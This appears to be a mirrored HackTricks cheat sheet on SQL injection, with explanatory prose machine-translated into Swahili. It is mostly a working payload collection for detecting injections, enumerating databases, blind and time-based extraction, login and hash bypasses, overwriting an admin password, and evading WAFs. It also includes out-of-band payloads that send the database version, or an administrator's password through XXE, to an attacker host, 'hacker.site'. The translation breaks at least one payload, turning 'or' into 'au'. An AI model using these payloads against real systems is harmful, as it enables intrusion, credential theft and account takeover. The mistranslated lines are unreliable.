mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 09:29:59 +00:00
528 lines
28 KiB
Markdown
528 lines
28 KiB
Markdown
# SQL Injection
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## What is SQL injection?
|
||
|
||
**SQL injection** ni kasoro ya usalama inayowezesha washambuliaji **kuingilia kati maswali ya hifadhidata** ya programu. Uthibitisho huu unaweza kuwapa washambuliaji uwezo wa **kuangalia**, **kubadilisha**, au **kufuta** data ambazo hawapaswi kufikia, ikiwa ni pamoja na taarifa za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Vitendo kama hivyo vinaweza kusababisha mabadiliko ya kudumu katika utendaji au maudhui ya programu au hata kuathiriwa kwa seva au kukatizwa kwa huduma.
|
||
|
||
## Entry point detection
|
||
|
||
Wakati tovuti inaonekana kuwa **na udhaifu wa SQL injection (SQLi)** kutokana na majibu yasiyo ya kawaida ya seva kwa pembejeo zinazohusiana na SQLi, **hatua ya kwanza** ni kuelewa jinsi ya **kuingiza data katika swali bila kuharibu**. Hii inahitaji kubaini njia ya **kutoroka kutoka kwa muktadha wa sasa** kwa ufanisi. Hizi ni baadhi ya mifano ya manufaa:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Kisha, unahitaji kujua jinsi ya **kurekebisha ombi ili kutokuwe na makosa**. Ili kurekebisha ombi unaweza **kuingiza** data ili **ombile la awali likubali data mpya**, au unaweza tu **kuingiza** data yako na **kuongeza alama ya maoni mwishoni**.
|
||
|
||
_Kumbuka kwamba ikiwa unaweza kuona ujumbe wa makosa au unaweza kutambua tofauti wakati ombi linafanya kazi na wakati halifanyi kazi hatua hii itakuwa rahisi zaidi._
|
||
|
||
### **Maoni**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirming with logical operations
|
||
|
||
Njia ya kuaminika ya kuthibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni za kimantiki** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' au '1'='1` inaashiria udhaifu wa SQL injection.
|
||
|
||
Vivyo hivyo, matumizi ya **operesheni za kihesabu** yanatumika kama mbinu bora ya uthibitisho. Kwa mfano, ikiwa kufikia `?id=1` na `?id=2-1` kunatoa matokeo sawa, inaashiria SQL injection.
|
||
|
||
Mifano inayoonyesha uthibitisho wa operesheni za kimantiki:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Hii orodha ya maneno iliundwa ili kujaribu **kuhakikisha SQLinjections** kwa njia iliyoelezwa:
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Kuwa na Hakikisho kwa Muda
|
||
|
||
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **gundua SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
|
||
Hivyo, tutakuwa na kuunganisha katika ombi la SQL operesheni ambayo itachukua muda mrefu kukamilisha:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
Katika baadhi ya matukio **kazi za usingizi hazitaruhusiwa**. Basi, badala ya kutumia kazi hizo unaweza kufanya uchunguzi **ufanye operesheni ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi zitajadiliwa tofauti kwenye kila teknolojia (ikiwa ipo)_.
|
||
|
||
### Kutambua Nyuma
|
||
|
||
Njia bora ya kutambua nyuma ni kujaribu kutekeleza kazi za nyuma tofauti. Unaweza kutumia _**sleep**_ **functions** za sehemu ya awali au hizi (meza kutoka [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Pia, ikiwa una ufikiaji wa matokeo ya ombi, unaweza kufanya **ichapishe toleo la hifadhidata**.
|
||
|
||
{% hint style="info" %}
|
||
Kuendelea, tutajadili mbinu tofauti za kutumia aina tofauti za SQL Injection. Tutatumia MySQL kama mfano.
|
||
{% endhint %}
|
||
|
||
### Kutambua na PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Kutumia Union Based
|
||
|
||
### Kugundua idadi ya safu
|
||
|
||
Ikiwa unaweza kuona matokeo ya ombi hili ni njia bora ya kutumia.\
|
||
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombile la awali** linarejesha. Hii ni kwa sababu **ombile zote zinapaswa kurejesha idadi sawa ya safu**.\
|
||
Mbinu mbili hutumiwa kawaida kwa kusudi hili:
|
||
|
||
#### Agiza/Kundi kwa
|
||
|
||
Ili kubaini idadi ya safu katika ombi, ongeza taratibu idadi inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uongo linapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Chagua zaidi na zaidi thamani za null hadi uchunguzi uwe sahihi:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_Unapaswa kutumia `null`thamani kwani katika baadhi ya kesi aina ya safu za pande zote za swali lazima iwe sawa na null ni halali katika kila kesi._
|
||
|
||
### Pata majina ya hifadhidata, majina ya meza na majina ya safu
|
||
|
||
Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadhidata, majina ya safu za meza:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_ kuna njia tofauti za kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile mbinu._
|
||
|
||
## Kutumia Union Iliyofichwa
|
||
|
||
Wakati matokeo ya ombi yanaonekana, lakini sindano ya msingi wa umoja inaonekana haiwezekani, inamaanisha kuwepo kwa **sindano ya umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya sindano ya kipofu. Ili kubadilisha sindano ya kipofu kuwa ya msingi wa umoja, ni lazima kutambua ombi la utekelezaji kwenye backend.
|
||
|
||
Hii inaweza kufanywa kwa kutumia mbinu za sindano ya kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) unalolenga. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS unalolenga.
|
||
|
||
Mara ombi litakapokuwa limetolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya sindano ya umoja iliyopatikana hivi karibuni.
|
||
|
||
Kwa ufahamu wa kina zaidi, rejelea makala kamili inayopatikana kwenye [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Kutumia Kosa
|
||
|
||
Ikiwa kwa sababu fulani **huwezi** kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
|
||
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kudump DB.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Exploiting Blind SQLi
|
||
|
||
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kutofautisha** wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
|
||
Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Exploiting Error Blind SQLi
|
||
|
||
Hii ni **hali ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu la kweli/uwongo kutoka kwa ombi unaweza **kutofautisha kati ya** **kosa** katika ombi la SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Exploiting Time Based SQLi
|
||
|
||
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeshuhudia mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Stacked Queries
|
||
|
||
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarudishwi kwa programu. Hivyo, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
|
||
|
||
**Oracle** haisaidii **stacked queries.** **MySQL, Microsoft** na **PostgreSQL** zinaziunga mkono: `QUERY-1-HERE; QUERY-2-HERE`
|
||
|
||
## Out of band Exploitation
|
||
|
||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database iwasilishe** taarifa kwa **host ya nje** inayodhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Uhamishaji wa data nje ya bendi kupitia XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Automated Exploitation
|
||
|
||
Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Tech specific info
|
||
|
||
Tumejadili tayari njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi zinazotegemea teknolojia ya database katika kitabu hiki:
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
Au utaona **mbinu nyingi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la cybersecurity nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na cybersecurity katika kila taaluma.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Authentication bypass
|
||
|
||
Orodha ya kujaribu kupita kazi ya kuingia:
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Raw hash authentication Bypass
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Hii query inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitisho, ikifanya mfumo kuwa hatarini kwa SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda ingizo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Kupita uthibitishaji wa hash iliyowekwa
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Orodha iliyo pendekezwa**:
|
||
|
||
Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila daima: _**Pass1234.**_\
|
||
_(Hizi payloads pia zimejumuishwa katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### GBK Uthibitishaji Bypass
|
||
|
||
KAMA ' inakabiliwa unaweza kutumia %A8%27, na wakati ' inakabiliwa itaundwa: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Python script:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Polyglot injection (multicontext)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Insert Statement
|
||
|
||
### Badilisha nenosiri la kitu/katumizi kilichopo
|
||
|
||
Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "kitu mkuu"** (labda **admin** katika kesi ya watumiaji) kwa kubadilisha kitu:
|
||
|
||
* Unda mtumiaji anayeitwa: **AdMIn** (herufi kubwa na ndogo)
|
||
* Unda mtumiaji anayeitwa: **admin=**
|
||
* **SQL Truncation Attack** (wakati kuna aina fulani ya **kikomo cha urefu** katika jina la mtumiaji au barua pepe) --> Unda mtumiaji mwenye jina: **admin \[nafasi nyingi] a**
|
||
|
||
#### SQL Truncation Attack
|
||
|
||
Ikiwa hifadhidata ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[nafasi 30] a_" na nenosiri lolote.
|
||
|
||
Hifadhidata it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi inayoruhusiwa** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa kiotomatiki nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
|
||
|
||
Maelezo zaidi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Note: Shambulio hili halitafanya kazi kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu hii angalia: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||
|
||
### MySQL Insert time based checking
|
||
|
||
Ongeza `','',''` nyingi kadri unavyofikiri ili kutoka kwenye taarifa za VALUES. Ikiwa kuchelewesha kutelezwa, una SQLInjection.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL kinatumika kufafanua hatua ambazo hifadhidata inapaswa kuchukua wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika kiashiria cha UNIQUE au KEY YA KUU. Mfano ufuatao unaonyesha jinsi kipengele hiki kinavyoweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
|
||
|
||
Mfano wa Payload Injection:
|
||
|
||
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribiwa kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nywila:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
Hapa kuna jinsi inavyofanya kazi:
|
||
|
||
- Uchunguzi unajaribu kuingiza safu mbili: moja kwa `generic_user@example.com` na nyingine kwa `admin_generic@example.com`.
|
||
- Ikiwa safu ya `admin_generic@example.com` tayari ipo, kipengele cha `ON DUPLICATE KEY UPDATE` kinachochea, kikimwambia MySQL kuboresha uwanja wa `password` wa safu iliyopo kuwa "bcrypt_hash_of_newpassword".
|
||
- Kwa hivyo, uthibitishaji unaweza kujaribiwa kwa kutumia `admin_generic@example.com` na nenosiri linalolingana na hash ya bcrypt ("bcrypt_hash_of_newpassword" inawakilisha hash ya bcrypt ya nenosiri jipya, ambayo inapaswa kubadilishwa na hash halisi ya nenosiri linalotakiwa).
|
||
|
||
### Toa taarifa
|
||
|
||
#### Kuunda akaunti 2 kwa wakati mmoja
|
||
|
||
Unapojaribu kuunda mtumiaji mpya na jina la mtumiaji, nenosiri na barua pepe zinahitajika:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Kutumia desimali au hexadesimali
|
||
|
||
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kuandika chochote.
|
||
|
||
Kutumia **hex2dec** na **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
Ili kupata maandiko unaweza kutumia:
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Kutumia **hex** na **replace** (na **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Routed SQL injection
|
||
|
||
Routed SQL injection ni hali ambapo ombi linaloweza kuingizwa siyo lile linalotoa matokeo bali matokeo ya ombi linaloweza kuingizwa yanaenda kwa ombi linalotoa matokeo. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Mfano:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## WAF Bypass
|
||
|
||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### No spaces bypass
|
||
|
||
No Space (%20) - bypass kutumia mbadala za nafasi
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
No Whitespace - bypass using comments
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
No Whitespace - bypass using parenthesis
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### No commas bypass
|
||
|
||
No Comma - bypass kutumia OFFSET, FROM na JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Generic Bypasses
|
||
|
||
Blacklists kutumia maneno muhimu - bypass kutumia herufi kubwa/ndogo
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Blacklist kutumia maneno yasiyo na tofauti ya herufi - pitia kwa kutumia opereta sawa
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
